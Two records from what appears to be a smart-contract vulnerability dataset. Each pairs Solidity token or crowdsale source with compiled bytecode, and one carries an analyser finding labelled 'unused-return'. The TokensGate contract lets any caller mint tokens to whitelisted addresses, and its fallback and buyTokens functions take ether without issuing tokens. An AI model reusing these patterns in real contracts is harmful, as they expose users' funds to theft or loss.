pragma solidity ^0.4.18; // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: zeppelin-solidity/contracts/token/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/token/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } // File: zeppelin-solidity/contracts/token/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: zeppelin-solidity/contracts/token/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: zeppelin-solidity/contracts/token/MintableToken.sol /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { if (totalSupply.add(_amount) > 1000000000000000000000000000) { return false; } totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } // File: contracts/TGCToken.sol contract TGCToken is MintableToken { string public constant name = "TGCToken"; string public constant symbol = "TGC"; uint8 public constant decimals = 18; } // File: zeppelin-solidity/contracts/crowdsale/Crowdsale.sol /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale. * Crowdsales have a start and end timestamps, where investors can make * token purchases and the crowdsale will assign them tokens based * on a token per ETH rate. Funds collected are forwarded to a wallet * as they arrive. */ contract Crowdsale { using SafeMath for uint256; // The token being sold MintableToken public token; // start and end timestamps where investments are allowed (both inclusive) uint256 public startTime; uint256 public endTime; // address where funds are collected address public wallet; // how many token units a buyer gets per wei uint256 public rate; // amount of raised money in wei uint256 public weiRaised; /** * event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public { require(_startTime >= now); require(_endTime >= _startTime); require(_rate > 0); require(_wallet != address(0)); token = createTokenContract(); startTime = _startTime; endTime = _endTime; rate = _rate; wallet = _wallet; } // creates the token to be sold. // override this method to have crowdsale of a specific mintable token. function createTokenContract() internal returns (MintableToken) { return new MintableToken(); } // fallback function can be used to buy tokens function () external payable { buyTokens(msg.sender); } // low level token purchase function function buyTokens(address beneficiary) public payable { require(beneficiary != address(0)); require(validPurchase()); uint256 weiAmount = msg.value; // calculate token amount to be created uint256 tokens = weiAmount.mul(rate); // update state weiRaised = weiRaised.add(weiAmount); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } // send ether to the fund collection wallet // override to create custom fund forwarding mechanisms function forwardFunds() internal { wallet.transfer(msg.value); } // @return true if the transaction can buy tokens function validPurchase() internal view returns (bool) { bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; return withinPeriod && nonZeroPurchase; } // @return true if crowdsale event has ended function hasEnded() public view returns (bool) { return now > endTime; } } // File: contracts/TokensGate.sol contract TokensGate is Crowdsale { mapping(address => bool) public icoAddresses; function TokensGate ( uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet ) public Crowdsale(_startTime, _endTime, _rate, _wallet) { } function createTokenContract() internal returns (MintableToken) { return new TGCToken(); } function () external payable { } function addIcoAddress(address _icoAddress) public { require(msg.sender == wallet); icoAddresses[_icoAddress] = true; } function buyTokens(address beneficiary) public payable { require(beneficiary == address(0)); } function mintTokens(address walletToMint, uint256 t) payable public { require(walletToMint != address(0)); require(icoAddresses[walletToMint]); token.mint(walletToMint, t); } function changeOwner(address newOwner) payable public { require(msg.sender == wallet); wallet = newOwner; } function tokenOwnership(address newOwner) payable public { require(msg.sender == wallet); token.transferOwnership(newOwner); } function setEndTime(uint256 newEndTime) payable public { require(msg.sender == wallet); endTime = newEndTime; } }
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146100eb57806306fdde0314610118578063095ea7b3146101a657806318160ddd1461020057806323b872dd14610229578063313ce567146102a257806340c10f19146102d1578063661884631461032b57806370a08231146103855780637d64bcb4146103d25780638da5cb5b146103ff57806395d89b4114610454578063a9059cbb146104e2578063d73dd6231461053c578063dd62ed3e14610596578063f2fde38b14610602575b600080fd5b34156100f657600080fd5b6100fe61063b565b604051808215151515815260200191505060405180910390f35b341561012357600080fd5b61012b61064e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016b578082015181840152602081019050610150565b50505050905090810190601f1680156101985780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b157600080fd5b6101e6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610687565b604051808215151515815260200191505060405180910390f35b341561020b57600080fd5b610213610779565b6040518082815260200191505060405180910390f35b341561023457600080fd5b610288600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061077f565b604051808215151515815260200191505060405180910390f35b34156102ad57600080fd5b6102b5610b3e565b604051808260ff1660ff16815260200191505060405180910390f35b34156102dc57600080fd5b610311600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b43565b604051808215151515815260200191505060405180910390f35b341561033657600080fd5b61036b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d5d565b604051808215151515815260200191505060405180910390f35b341561039057600080fd5b6103bc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610fee565b6040518082815260200191505060405180910390f35b34156103dd57600080fd5b6103e5611037565b604051808215151515815260200191505060405180910390f35b341561040a57600080fd5b6104126110ff565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561045f57600080fd5b610467611125565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104a757808201518184015260208101905061048c565b50505050905090810190601f1680156104d45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104ed57600080fd5b610522600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061115e565b604051808215151515815260200191505060405180910390f35b341561054757600080fd5b61057c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611382565b604051808215151515815260200191505060405180910390f35b34156105a157600080fd5b6105ec600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061157e565b6040518082815260200191505060405180910390f35b341561060d57600080fd5b610639600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611605565b005b600360149054906101000a900460ff1681565b6040805190810160405280600881526020017f544743546f6b656e00000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156107bc57600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561080a57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561089557600080fd5b6108e782600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175d90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061097c82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461177690919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a4e82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175d90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ba157600080fd5b600360149054906101000a900460ff16151515610bbd57600080fd5b6b033b2e3c9fd0803ce8000000610bdf8360005461177690919063ffffffff16565b1115610bee5760009050610d57565b610c038260005461177690919063ffffffff16565b600081905550610c5b82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461177690919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610e6e576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f02565b610e81838261175d90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561109557600080fd5b600360149054906101000a900460ff161515156110b157600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f544743000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561119b57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156111e957600080fd5b61123b82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175d90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112d082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461177690919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061141382600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461177690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561166157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561169d57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561176b57fe5b818303905092915050565b600080828401905083811015151561178a57fe5b80915050929150505600a165627a7a723058201956f627ee18e496815603caec94150b8c688a7c5df6a1a319ab12247248362d0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,838
0x6831d64d4cfed7bb09840abe7f2420eac0e4b8db
/** *Submitted for verification at Etherscan.io on 2021-05-07 */ pragma solidity ^0.4.24; // File: node_modules/openzeppelin-solidity/contracts/token/ERC20/IERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } // File: node_modules/openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address owner, address spender ) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom( address from, address to, uint256 value ) public returns (bool) { require(value <= _allowed[from][msg.sender]); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance( address spender, uint256 addedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance( address spender, uint256 subtractedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(value <= _balances[from]); require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != 0); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != 0); require(value <= _balances[account]); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { require(value <= _allowed[account][msg.sender]); // Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted, // this function needs to emit an event with the updated approval. _allowed[account][msg.sender] = _allowed[account][msg.sender].sub( value); _burn(account, value); } } // File: contracts\ERC20\TokenMintERC20Token.sol /** * @title TokenMintERC20Token * @author TokenMint.io * * @dev Standard ERC20 token with optional functions implemented. * For full specification of ERC-20 standard see: * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md */ contract TokenMintERC20Token is ERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string name, string symbol, uint8 decimals, uint256 totalSupply, address feeReceiver, address tokenOwnerAddress) public payable { _name = name; _symbol = symbol; _decimals = decimals; // set tokenOwnerAddress as owner of all tokens _mint(tokenOwnerAddress, totalSupply); // pay the service fee for contract deployment feeReceiver.transfer(msg.value); } // optional functions from ERC20 stardard /** * @return the name of the token. */ function name() public view returns (string) { return _name; } /** * @return the symbol of the token. */ function symbol() public view returns (string) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view returns (uint8) { return _decimals; } }
0x6080604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100b4578063095ea7b31461014457806318160ddd146101a957806323b872dd146101d4578063313ce56714610259578063395093511461028a57806370a08231146102ef57806395d89b4114610346578063a457c2d7146103d6578063a9059cbb1461043b578063dd62ed3e146104a0575b600080fd5b3480156100c057600080fd5b506100c9610517565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101095780820151818401526020810190506100ee565b50505050905090810190601f1680156101365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015057600080fd5b5061018f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105b9565b604051808215151515815260200191505060405180910390f35b3480156101b557600080fd5b506101be6106e6565b6040518082815260200191505060405180910390f35b3480156101e057600080fd5b5061023f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106f0565b604051808215151515815260200191505060405180910390f35b34801561026557600080fd5b5061026e6108a2565b604051808260ff1660ff16815260200191505060405180910390f35b34801561029657600080fd5b506102d5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108b9565b604051808215151515815260200191505060405180910390f35b3480156102fb57600080fd5b50610330600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610af0565b6040518082815260200191505060405180910390f35b34801561035257600080fd5b5061035b610b38565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561039b578082015181840152602081019050610380565b50505050905090810190601f1680156103c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103e257600080fd5b50610421600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bda565b604051808215151515815260200191505060405180910390f35b34801561044757600080fd5b50610486600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e11565b604051808215151515815260200191505060405180910390f35b3480156104ac57600080fd5b50610501600480360381019080803573ffffffff